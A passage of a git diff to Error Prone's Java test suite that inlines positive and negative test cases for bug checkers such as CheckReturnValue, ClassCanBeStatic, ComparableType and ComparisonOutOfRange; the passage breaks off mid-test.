super(); + } + } + + // BUG: Diagnostic contains: The result of `new MyObject()` must be used + // + // If you really don't want to use the result, then assign it to a variable: `var unused = ...`. + // + // If callers of `MyObject()` shouldn't be required to use its result, then annotate it with + // `@CanIgnoreReturnValue`. + new MyObject(); + } + + private class IntValue { + final int i; + + public IntValue(int i) { + this.i = i; + } + + @javax.annotation.CheckReturnValue + public IntValue increment() { + return new IntValue(i + 1); + } + + public void increment2() { + // BUG: Diagnostic contains: + this.increment(); + } + + public void increment3() { + // BUG: Diagnostic contains: + increment(); + } + } + + private static class MyObject { + @CheckReturnValue + MyObject() {} + } + + private abstract static class LB1 {} + + private static class LB2 extends LB1 { + + @CheckReturnValue + public static LB2 lb1() { + return new LB2(); + } + + public static LB2 lb2() { + // BUG: Diagnostic contains: + lb1(); + return lb1(); + } + } + + private static class JavaxAnnotation { + @javax.annotation.CheckReturnValue + public static int check() { + return 1; + } + + public static void ignoresCheck() { + // BUG: Diagnostic contains: + check(); + } + } +}""") + .doTest(); } @Test @@ -108,7 +291,64 @@ public void doIt() { @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/CheckReturnValueNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "CheckReturnValueNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.errorprone.annotations.CheckReturnValue; + import java.util.function.Supplier; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class CheckReturnValueNegativeCases { + + public void test1() { + test2(); + Object obj = new String(); + obj.toString(); + } + + @SuppressWarnings("foo") // wrong annotation + public void test2() {} + + @CheckReturnValue + private int mustCheck() { + return 5; + } + + private int nothingToCheck() { + return 42; + } + + private void callRunnable(Runnable runnable) { + runnable.run(); + } + + private void testNonCheckedCallsWithMethodReferences() { + Object obj = new String(); + callRunnable(String::new); + callRunnable(this::test2); + callRunnable(obj::toString); + } + + private void callSupplier(Supplier supplier) { + supplier.get(); + } + + public void testResolvedToIntLambda(boolean predicate) { + callSupplier(() -> mustCheck()); + callSupplier(predicate ? () -> mustCheck() : () -> nothingToCheck()); + } + + public void testMethodReference(boolean predicate) { + callSupplier(this::mustCheck); + callSupplier(predicate ? this::mustCheck : this::nothingToCheck); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ClassCanBeStaticTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ClassCanBeStaticTest.java index d67daf15217..04eb27e00be 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ClassCanBeStaticTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ClassCanBeStaticTest.java @@ -33,24 +33,168 @@ public class ClassCanBeStaticTest { @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ClassCanBeStaticNegativeCases.java") + .addSourceLines( + "ClassCanBeStaticNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author alexloh@google.com (Alex Loh) + */ + public class ClassCanBeStaticNegativeCases { + int outerVar; + + public int outerMethod() { + return 0; + } + + public static class Inner1 { // inner class already static + int innerVar; + } + + public class Inner2 { // inner class references an outer variable + int innerVar = outerVar; + } + + public class Inner3 { // inner class references an outer variable in a method + int localMethod() { + return outerVar; + } + } + + public class Inner4 { // inner class references an outer method in a method + int localMethod() { + return outerMethod(); + } + } + + // outer class is a nested but non-static, and thus cannot have a static class + class NonStaticOuter { + int nonStaticVar = outerVar; + + class Inner5 {} + } + + // inner class is local and thus cannot be static + void foo() { + class Inner6 {} + } + + // inner class is anonymous and thus cannot be static + Object bar() { + return new Object() {}; + } + + // enums are already static + enum Inner7 { + RED, + BLUE, + VIOLET, + } + + // outer class is a nested but non-static, and thus cannot have a static class + void baz() { + class NonStaticOuter2 { + int nonStaticVar = outerVar; + + class Inner8 {} + } + } + + // inner class references a method from inheritance + public interface OuterInter { + int outerInterMethod(); + } + + abstract static class AbstractOuter implements OuterInter { + class Inner8 { + int localMethod() { + return outerInterMethod(); + } + } + } + }""") .setArgs("--release", "11") .doTest(); } @Test public void positiveCase1() { - compilationHelper.addSourceFile("testdata/ClassCanBeStaticPositiveCase1.java").doTest(); + compilationHelper + .addSourceLines( + "ClassCanBeStaticPositiveCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author alexloh@google.com (Alex Loh) + */ + public class ClassCanBeStaticPositiveCase1 { + + int outerVar; + + // Non-static inner class that does not use outer scope + // BUG: Diagnostic contains: static class Inner1 + class Inner1 { + int innerVar; + } + }""") + .doTest(); } @Test public void positiveCase2() { - compilationHelper.addSourceFile("testdata/ClassCanBeStaticPositiveCase2.java").doTest(); + compilationHelper + .addSourceLines( + "ClassCanBeStaticPositiveCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author alexloh@google.com (Alex Loh) + */ + public class ClassCanBeStaticPositiveCase2 { + + int outerVar1; + int outerVar2; + + // Outer variable overridden + // BUG: Diagnostic contains: private /* COMMENT */ static final class Inner2 + private /* COMMENT */ final class Inner2 { + int outerVar1; + int innerVar = outerVar1; + + int localMethod(int outerVar2) { + return outerVar2; + } + } + }""") + .doTest(); } @Test public void positiveCase3() { - compilationHelper.addSourceFile("testdata/ClassCanBeStaticPositiveCase3.java").doTest(); + compilationHelper + .addSourceLines( + "ClassCanBeStaticPositiveCase3.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author alexloh@google.com (Alex Loh) + */ + public class ClassCanBeStaticPositiveCase3 { + + static int outerVar; + + // Nested non-static inner class inside a static inner class + static class NonStaticOuter { + int nonStaticVar = outerVar; + // BUG: Diagnostic contains: public static class Inner3 + public class Inner3 {} + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/CollectionToArraySafeParameterTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/CollectionToArraySafeParameterTest.java index caac3f2bee9..83db1c94113 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/CollectionToArraySafeParameterTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/CollectionToArraySafeParameterTest.java @@ -31,14 +31,117 @@ public class CollectionToArraySafeParameterTest { @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/CollectionToArraySafeParameterPositiveCases.java") + .addSourceLines( + "CollectionToArraySafeParameterPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.ArrayList; + import java.util.Collection; + import java.util.HashSet; + import java.util.Set; + + /** + * @author mariasam@google.com (Maria Sam) on 6/27/17. + */ + public class CollectionToArraySafeParameterPositiveCases { + + private static void basicCase() { + Collection collection = new ArrayList(); + // BUG: Diagnostic contains: array parameter + Integer[] intArray = collection.toArray(new Integer[collection.size()]); + + Integer[] arrayOfInts = new Integer[10]; + // BUG: Diagnostic contains: array parameter + Integer[] wrongArray = collection.toArray(arrayOfInts); + + Set integerSet = new HashSet(); + // BUG: Diagnostic contains: array parameter + Long[] longArray = integerSet.toArray(new Long[10]); + + Set longSet = new HashSet(); + // BUG: Diagnostic contains: array parameter + Integer[] integerArray = longSet.toArray(new Integer[10]); + } + + void test(Foo foo) { + // BUG: Diagnostic contains: array parameter + String[] things = foo.toArray(new String[] {}); + } + + void test(FooBar foo) { + // BUG: Diagnostic contains: array parameter + Integer[] things = foo.toArray(new Integer[] {}); + } + + class FooBar extends HashSet {} + + class Foo extends HashSet {} + }""") .doTest(); } @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/CollectionToArraySafeParameterNegativeCases.java") + .addSourceLines( + "CollectionToArraySafeParameterNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashSet; + +/** + * @author mariasam@google.com (Maria Sam) on 6/27/17. + */ +public class CollectionToArraySafeParameterNegativeCases { + + private void basicCase() { + Collection collection = new ArrayList(); + Collection collInts = new ArrayList(); + + Object[] intArrayActualNoParam = collInts.toArray(); + Integer[] intArrayActual = collInts.toArray(new Integer[collection.size()]); + + Collection collectionObjects = new ArrayList<>(); + Integer[] intArrayObjects = collectionObjects.toArray(new Integer[collectionObjects.size()]); + + Integer[] arrayOfInts = new Integer[10]; + Integer[] otherArray = collInts.toArray(arrayOfInts); + + Collection> collectionOfCollection = new ArrayList>(); + Collection[] collectionOfCollectionArray = + collectionOfCollection.toArray(new ArrayList[10]); + + SomeObject someObject = new SomeObject(); + Integer[] someObjectArray = someObject.toArray(new Integer[1]); + + // test to make sure that when the collection has no explicit type there is no error thrown + // when "toArray" is called. + Collection someObjects = new ArrayList(); + Object[] intArray = someObjects.toArray(new Integer[1]); + } + + class FooBar extends HashSet {} + + void testFooBar(FooBar fooBar) { + Integer[] things = fooBar.toArray(new Integer[] {}); + } + + class Foo extends HashSet {} + + void test(Foo foo) { + String[] things = foo.toArray(new String[] {}); + } + + class SomeObject { + Integer[] toArray(Integer[] someArray) { + return new Integer[10]; + } + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/CollectorShouldNotUseStateTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/CollectorShouldNotUseStateTest.java index 150bfc495c0..687ffb869e1 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/CollectorShouldNotUseStateTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/CollectorShouldNotUseStateTest.java @@ -31,14 +31,102 @@ public class CollectorShouldNotUseStateTest { @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/CollectorShouldNotUseStatePositiveCases.java") + .addSourceLines( + "CollectorShouldNotUseStatePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.collect.ImmutableList; + import com.google.common.collect.ImmutableList.Builder; + import java.util.function.BiConsumer; + import java.util.stream.Collector; + + /** + * @author sulku@google.com (Marsela Sulku) + */ + public class CollectorShouldNotUseStatePositiveCases { + public void test() { + // BUG: Diagnostic contains: Collector.of() should not use state + Collector.of( + ImmutableList::builder, + new BiConsumer, Object>() { + + boolean isFirst = true; + private static final String bob = "bob"; + + @Override + public void accept(Builder objectBuilder, Object o) { + if (isFirst) { + System.out.println("it's first"); + } else { + objectBuilder.add(o); + } + } + }, + (left, right) -> left.addAll(right.build()), + ImmutableList.Builder::build); + + // BUG: Diagnostic contains: Collector.of() should not use state + Collector.of( + ImmutableList::builder, + new BiConsumer, Object>() { + + boolean isFirst = true; + private final String bob = "bob"; + private final String joe = "joe"; + + @Override + public void accept(Builder objectBuilder, Object o) { + if (isFirst) { + System.out.println("it's first"); + } else { + objectBuilder.add(o); + } + } + }, + (left, right) -> left.addAll(right.build()), + ImmutableList.Builder::build); + } + }""") .doTest(); } @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/CollectorShouldNotUseStateNegativeCases.java") + .addSourceLines( + "CollectorShouldNotUseStateNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.collect.ImmutableList; + import com.google.common.collect.ImmutableList.Builder; + import java.util.function.BiConsumer; + import java.util.stream.Collector; + + /** + * @author sulku@google.com (Marsela Sulku) + */ + public class CollectorShouldNotUseStateNegativeCases { + public void test() { + Collector.of( + ImmutableList::builder, + new BiConsumer, Object>() { + private static final String bob = "bob"; + + @Override + public void accept(Builder objectBuilder, Object o) { + if (bob.equals("bob")) { + System.out.println("bob"); + } else { + objectBuilder.add(o); + } + } + }, + (left, right) -> left.addAll(right.build()), + ImmutableList.Builder::build); + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ComparableAndComparatorTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ComparableAndComparatorTest.java index 8fc918bea94..353f8aae6a3 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ComparableAndComparatorTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ComparableAndComparatorTest.java @@ -31,11 +31,137 @@ public class ComparableAndComparatorTest { @Test public void positive() { - compilationHelper.addSourceFile("testdata/ComparableAndComparatorPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ComparableAndComparatorPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Comparator; + + /** + * @author sulku@google.com (Marsela Sulku) + * @author mariasam@google.com (Maria Sam) + */ + public class ComparableAndComparatorPositiveCases { + + /** implements both interfaces */ + // BUG: Diagnostic contains: Class should not implement both + public static class BadClass implements Comparable, Comparator { + @Override + public int compareTo(BadClass comparableNode) { + return 0; + } + + @Override + public int compare(BadClass a, BadClass b) { + return 0; + } + } + + /** Superclass test class */ + public static class SuperClass implements Comparator { + @Override + public int compare(SuperClass o1, SuperClass o2) { + return 0; + } + } + + /** SubClass test class */ + // BUG: Diagnostic contains: Class should not implement both + public static class SubClass extends SuperClass implements Comparable { + @Override + public int compareTo(SubClass o) { + return 0; + } + } + }""") + .doTest(); } @Test public void negative() { - compilationHelper.addSourceFile("testdata/ComparableAndComparatorNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ComparableAndComparatorNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Comparator; + +/** Created by mariasam on 6/5/17. */ +public class ComparableAndComparatorNegativeCases { + + /** Class that implements comparable, but also defines a comparator */ + public static class ComparableAndComparatorNested + implements Comparable { + + /** Comparator */ + private static final Comparator myComparator = + new Comparator() { + + @Override + public int compare(ComparableAndComparatorNested o1, ComparableAndComparatorNested o2) { + return 0; + } + }; + + @Override + public int compareTo(ComparableAndComparatorNested o) { + return 0; + } + } + + /** class that only implements comparable */ + public static class OnlyComparable implements Comparable { + + @Override + public int compareTo(OnlyComparable o) { + return 0; + } + } + + /** class that only implements comparator */ + public static class OnlyComparator implements Comparator { + @Override + public int compare(OnlyComparator o1, OnlyComparator o2) { + return 0; + } + } + + /** This test case is here to increase readability */ + // BUG: Diagnostic contains: Class should not implement both + public static class BadClass implements Comparable, Comparator { + @Override + public int compareTo(BadClass comparableNode) { + return 0; + } + + @Override + public int compare(BadClass a, BadClass b) { + return 0; + } + } + + /** Subclass should not cause error */ + public static class BadClassSubclass extends BadClass { + public int sampleMethod() { + return 0; + } + } + + /** Enums implementing comparator are ok */ + enum TestEnum implements Comparator { + MONDAY, + TUESDAY, + WEDNESDAY; + + @Override + public int compare(Integer one, Integer two) { + return 0; + } + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ComparableTypeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ComparableTypeTest.java index 44b35dc3c0c..cce753effe1 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ComparableTypeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ComparableTypeTest.java @@ -28,11 +28,234 @@ public class ComparableTypeTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ComparableTypePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ComparableTypePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.io.Serializable; +import java.util.Comparator; + +public class ComparableTypePositiveCases { + + // BUG: Diagnostic contains: [ComparableType] + public static class CompareClass implements Comparable { + + @Override + public int compareTo(Integer o) { + return 0; + } + } + + // BUG: Diagnostic contains: [ComparableType] + public static class SerializableComparable implements Serializable, Comparable { + + @Override + public int compareTo(Long o) { + return 0; + } + } + + // BUG: Diagnostic contains: [ComparableType] + public static class ComparableSerializable implements Comparable, Serializable { + + @Override + public int compareTo(Long o) { + return 0; + } + } + + // BUG: Diagnostic contains: [ComparableType] + public static class BadClass implements Comparable, Comparator { + + @Override + public int compareTo(Double o) { + return 0; + } + + @Override + public int compare(Double o1, Double o2) { + return 0; + } + } + + // BUG: Diagnostic contains: [ComparableType] + public static class AnotherBadClass implements Comparator, Comparable { + + @Override + public int compareTo(Double o) { + return 0; + } + + @Override + public int compare(Double o1, Double o2) { + return 0; + } + } + + public static class A {} + + public static class B extends A {} + + // BUG: Diagnostic contains: [ComparableType] + public static class C extends A implements Comparable { + + @Override + public int compareTo(B o) { + return 0; + } + } + + interface Foo {} + + // BUG: Diagnostic contains: [ComparableType] + static final class Open implements Comparable { + @Override + public int compareTo(Foo o) { + return 0; + } + } + + // BUG: Diagnostic contains: [ComparableType] + public abstract static class AClass implements Comparable {} + + public static class BClass extends AClass { + @Override + public int compareTo(Integer o) { + return 0; + } + } + + // found via flume + public static class SpendXGetYValues { + public Comparable yToXRatio() { + // BUG: Diagnostic contains: [ComparableType] + return new Comparable() { + @Override + public int compareTo(SpendXGetYValues other) { + return 0; + } + }; + } + } + + // BUG: Diagnostic contains: [ComparableType] + public abstract static class One implements Comparable {} + + public static class Two extends One { + @Override + public int compareTo(Integer o) { + return 0; + } + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ComparableTypeNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ComparableTypeNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.io.Serializable; +import java.util.Comparator; + +public class ComparableTypeNegativeCases { + + /** Class that implements comparable, with castable type */ + public static class ComparableTypeNegative implements Comparable { + + @Override + public int compareTo(ComparableTypeNegative o) { + return 0; + } + } + + /** abstract class that implements comparable */ + public abstract static class OnlyComparable implements Comparable {} + + /** class that implements comparable and something else like Serializable */ + public static class SerializableComparable + implements Serializable, Comparable { + + @Override + public int compareTo(SerializableComparable o) { + return 0; + } + } + + /** class that implements comparable and something else with a type */ + public static class SomeClass implements Comparable, Comparator { + @Override + public int compareTo(SomeClass comparableNode) { + return 0; + } + + @Override + public int compare(SomeClass a, SomeClass b) { + return 0; + } + } + + // Example interfaces + interface Door {} + + public static class HalfOpen implements Door {} + + // BUG: Diagnostic contains: [ComparableType] + static final class Open extends HalfOpen implements Comparable { + @Override + public int compareTo(Door o) { + return 0; + } + } + + public static class A {} + + // BUG: Diagnostic contains: [ComparableType] + public static class B extends A implements Comparable { + + @Override + public int compareTo(A o) { + return 0; + } + } + + // ignore enums + enum Location { + TEST_TARGET + } + + public abstract static class AClass implements Comparable {} + + public static class BClass extends AClass { + @Override + public int compareTo(AClass o) { + return 0; + } + } + + abstract class Foo implements Comparable> {} + + class T extends Foo { + public int compareTo(Foo o) { + return 0; + } + } + + // BUG: Diagnostic contains: [ComparableType] + static final class XGram implements Comparable { + + @Override + public int compareTo(Object o) { + return 0; + } + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonContractViolatedTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonContractViolatedTest.java index c5ed68e4cc2..d2c421320a9 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonContractViolatedTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonContractViolatedTest.java @@ -32,14 +32,154 @@ public class ComparisonContractViolatedTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ComparisonContractViolatedPositiveCases.java") + .addSourceLines( + "ComparisonContractViolatedPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Comparator; + + public class ComparisonContractViolatedPositiveCases { + + static final int POSITIVE_CONSTANT = 50; + + static class Struct { + int intField; + long longField; + + @Override + public boolean equals(Object o) { + return o instanceof Struct + && intField == ((Struct) o).intField + && longField == ((Struct) o).longField; + } + + @Override + public int hashCode() { + return intField + (int) longField; + } + } + + static final Comparator intComparisonNoZero1 = + new Comparator() { + @Override + public int compare(Struct left, Struct right) { + // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) + return (left.intField < right.intField) ? -1 : 1; + } + }; + + static final Comparator intComparisonNoZero2 = + new Comparator() { + @Override + public int compare(Struct left, Struct right) { + // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) + return (right.intField < left.intField) ? 1 : -1; + } + }; + + static final Comparator intComparisonNoZero3 = + new Comparator() { + @Override + public int compare(Struct left, Struct right) { + // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) + return (left.intField > right.intField) ? 1 : -1; + } + }; + + static final Comparator intComparisonNoZero4 = + new Comparator() { + @Override + public int compare(Struct left, Struct right) { + // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) + return (left.intField <= right.intField) ? -1 : 1; + } + }; + + static final Comparator longComparisonNoZero1 = + new Comparator() { + @Override + public int compare(Struct left, Struct right) { + // BUG: Diagnostic contains: Long.compare(left.longField, right.longField) + return (left.longField < right.longField) ? -1 : 1; + } + }; + + static final Comparator longComparisonNoZero2 = + new Comparator() { + @Override + public int compare(Struct left, Struct right) { + // BUG: Diagnostic contains: Long.compare(left.longField, right.longField) + return (left.longField < right.longField) ? -1 : POSITIVE_CONSTANT; + } + }; + + static final Comparator zeroOrOneComparator = + new Comparator() { + + @Override + // BUG: Diagnostic contains: violates the contract + public int compare(Struct o1, Struct o2) { + return o1.equals(o2) ? 0 : 1; + } + }; + + static final Comparator zeroOrNegativeOneComparator = + new Comparator() { + + @Override + // BUG: Diagnostic contains: violates the contract + public int compare(Struct o1, Struct o2) { + return o1.equals(o2) ? 0 : -1; + } + }; + + static final Comparator zeroOrPositiveConstantComparator = + new Comparator() { + + @Override + // BUG: Diagnostic contains: violates the contract + public int compare(Struct o1, Struct o2) { + return o1.equals(o2) ? 0 : POSITIVE_CONSTANT; + } + }; + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ComparisonContractViolatedNegativeCases.java") + .addSourceLines( + "ComparisonContractViolatedNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + public class ComparisonContractViolatedNegativeCases { + abstract static class IntOrInfinity implements Comparable {} + + static class IntOrInfinityInt extends IntOrInfinity { + private final int value; + + IntOrInfinityInt(int value) { + this.value = value; + } + + @Override + public int compareTo(IntOrInfinity o) { + return (o instanceof IntOrInfinityInt) + ? Integer.compare(value, ((IntOrInfinityInt) o).value) + : 1; + } + } + + static class NegativeInfinity extends IntOrInfinity { + @Override + public int compareTo(IntOrInfinity o) { + return (o instanceof NegativeInfinity) ? 0 : -1; + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonOutOfRangeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonOutOfRangeTest.java index 299f3825dcb..59e1ccdb51c 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonOutOfRangeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonOutOfRangeTest.java @@ -32,11 +32,252 @@ public class ComparisonOutOfRangeTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/ComparisonOutOfRangePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ComparisonOutOfRangePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.IOException; + import java.io.Reader; + import java.util.function.Supplier; + + /** + * @author Bill Pugh (bill.pugh@gmail.com) + */ + class ComparisonOutOfRangePositiveCases { + private static final int NOT_A_BYTE = 255; + + void byteEquality() { + boolean result; + byte b = 0; + byte[] barr = {1, 2, 3}; + + // BUG: Diagnostic contains: b == -1 + result = b == 255; + // BUG: Diagnostic contains: b == 1 + result = b == -255; + // BUG: Diagnostic contains: b == -128 + result = b == 128; + // BUG: Diagnostic contains: b != -1 + result = b != 255; + + // BUG: Diagnostic contains: barr[0] == -1 + result = barr[0] == 255; + // BUG: Diagnostic contains: + result = barr[0] == 128; + // BUG: Diagnostic contains: bytes + result = barr[0] == -255; + + // BUG: Diagnostic contains: b == -1 + result = b == NOT_A_BYTE; + + Byte boxed = 0; + // BUG: Diagnostic contains: + result = boxed == 255; + Supplier bSupplier = null; + // BUG: Diagnostic contains: + result = bSupplier.get() == 255; + } + + void charEquality() throws IOException { + boolean result; + char c = 'A'; + Reader reader = null; + + // BUG: Diagnostic contains: false + result = c == -1; + // BUG: Diagnostic contains: true + result = c != -1; + + char d; + // BUG: Diagnostic contains: chars + result = (d = (char) reader.read()) == -1; + } + + void shorts(short s) { + boolean result; + + // BUG: Diagnostic contains: false + result = s == Short.MAX_VALUE + 1; + // BUG: Diagnostic contains: false + result = s == Short.MIN_VALUE - 1; + + // BUG: Diagnostic contains: true + result = s != Short.MAX_VALUE + 1; + // BUG: Diagnostic contains: true + result = s != Short.MIN_VALUE - 1; + + // BUG: Diagnostic contains: false + result = s > Short.MAX_VALUE; + // BUG: Diagnostic contains: true + result = s > Short.MIN_VALUE - 1; + + // BUG: Diagnostic contains: false + result = s >= Short.MAX_VALUE + 1; + // BUG: Diagnostic contains: true + result = s >= Short.MIN_VALUE; + + // BUG: Diagnostic contains: false + result = s < Short.MIN_VALUE; + // BUG: Diagnostic contains: true + result = s < Short.MAX_VALUE + 1; + + // BUG: Diagnostic contains: false + result = s <= Short.MIN_VALUE - 1; + // BUG: Diagnostic contains: true + result = s <= Short.MAX_VALUE; + } + + void shortsReversed(short s) { + boolean result; + + // BUG: Diagnostic contains: false + result = Short.MAX_VALUE < s; + // BUG: Diagnostic contains: true + result = Short.MIN_VALUE - 1 < s; + + // BUG: Diagnostic contains: false + result = Short.MAX_VALUE + 1 <= s; + // BUG: Diagnostic contains: true + result = Short.MIN_VALUE <= s; + + // BUG: Diagnostic contains: false + result = Short.MIN_VALUE > s; + // BUG: Diagnostic contains: true + result = Short.MAX_VALUE + 1 > s; + + // BUG: Diagnostic contains: false + result = Short.MIN_VALUE - 1 >= s; + // BUG: Diagnostic contains: true + result = Short.MAX_VALUE >= s; + } + + void ints(int i) { + boolean result; + + // BUG: Diagnostic contains: false + result = i == Integer.MAX_VALUE + 1L; + } + + void longs(long l) { + boolean result; + + // BUG: Diagnostic contains: false + result = l == Long.MIN_VALUE * 2.0; + } + }""") + .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/ComparisonOutOfRangeNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ComparisonOutOfRangeNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.IOException; + import java.io.Reader; + + /** + * @author Bill Pugh (bill.pugh@gmail.com) + */ + class ComparisonOutOfRangeNegativeCases { + + void byteEquality() { + boolean result; + byte b = 0; + byte[] barr = {1, 2, 3}; + + result = b == 1; + result = b == -2; + result = b == 127; + result = b != 1; + + result = b == (byte) 255; + + result = b == 'a'; // char + result = b == 1L; // long + result = b == 1.123f; // float + result = b == 1.123; // double + + result = barr[0] == 1; + result = barr[0] == -2; + result = barr[0] == -128; + } + + void charEquality() throws IOException { + boolean result; + char c = 'A'; + Reader reader = null; + + result = c == 0; + result = c == 0xffff; + + result = c == 1L; // long + result = c == 1.123f; // float + result = c == 1.123; // double + + int d; + result = (d = reader.read()) == -1; + } + + void shorts(short s) { + boolean result; + + result = s == Short.MAX_VALUE; + result = s == Short.MIN_VALUE; + + result = s != Short.MAX_VALUE; + result = s != Short.MIN_VALUE; + + result = s > Short.MAX_VALUE - 1; + result = s > Short.MIN_VALUE; + + result = s >= Short.MAX_VALUE; + result = s >= Short.MIN_VALUE + 1; + + result = s < Short.MIN_VALUE + 1; + result = s < Short.MAX_VALUE; + + result = s <= Short.MIN_VALUE; + result = s <= Short.MAX_VALUE - 1; + } + + void shortsReversed(short s) { + boolean result; + + result = Short.MAX_VALUE - 1 < s; + result = Short.MIN_VALUE < s; + + result = Short.MAX_VALUE <= s; + result = Short.MIN_VALUE + 1 <= s; + + result = Short.MIN_VALUE + 1 > s; + result = Short.MAX_VALUE > s; + + result = Short.MIN_VALUE >= s; + result = Short.MAX_VALUE - 1 >= s; + } + + void ints(int i) { + boolean result; + + result = i == (long) Integer.MAX_VALUE; + } + + void longs(long l) { + boolean result; + + result = l == (double) Long.MIN_VALUE; + } + + String binaryTreeMixingByteWithNonNumeric(byte b) { + return "value is: " + b; + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/DeadExceptionTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/DeadExceptionTest.java index a2f9eca702f..4932feabfcb 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/DeadExceptionTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/DeadExceptionTest.java @@ -32,12 +32,96 @@ public class DeadExceptionTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/DeadExceptionPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "DeadExceptionPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + public class DeadExceptionPositiveCases { + public void runtimeException() { + // BUG: Diagnostic contains: throw new RuntimeException + new RuntimeException("Not thrown, and reference lost"); + } + + public void error() { + // BUG: Diagnostic contains: throw new AssertionError + new AssertionError("Not thrown, and reference lost"); + } + + public void fixIsToDeleteTheFirstStatement() { + // BUG: Diagnostic contains: remove this line + new IllegalArgumentException("why is this here?"); + int i = 1; + System.out.println("i = " + i); + + if (true) { + // BUG: Diagnostic contains: remove this line + new RuntimeException("oops"); + System.out.println("another statement after exception"); + } + + switch (0) { + default: + // BUG: Diagnostic contains: remove this line + new RuntimeException("oops"); + System.out.println("another statement after exception"); + } + } + + public void firstStatementWithNoSurroundingBlock() { + if (true) + // BUG: Diagnostic contains: throw new InterruptedException + new InterruptedException("this should be thrown"); + + if (true) return; + else + // BUG: Diagnostic contains: throw new ArithmeticException + new ArithmeticException("should also be thrown"); + + switch (4) { + case 4: + System.out.println("4"); + break; + default: + // BUG: Diagnostic contains: throw new IllegalArgumentException + new IllegalArgumentException("should be thrown"); + } + } + + public void testLooksLikeAJunitTestMethod() { + // BUG: Diagnostic contains: throw new RuntimeException + new RuntimeException("Not thrown, and reference lost"); + } + + { + // BUG: Diagnostic contains: throw new Exception + new Exception(); + } + }""") + .doTest(); } @Test public void negativeCase() { - 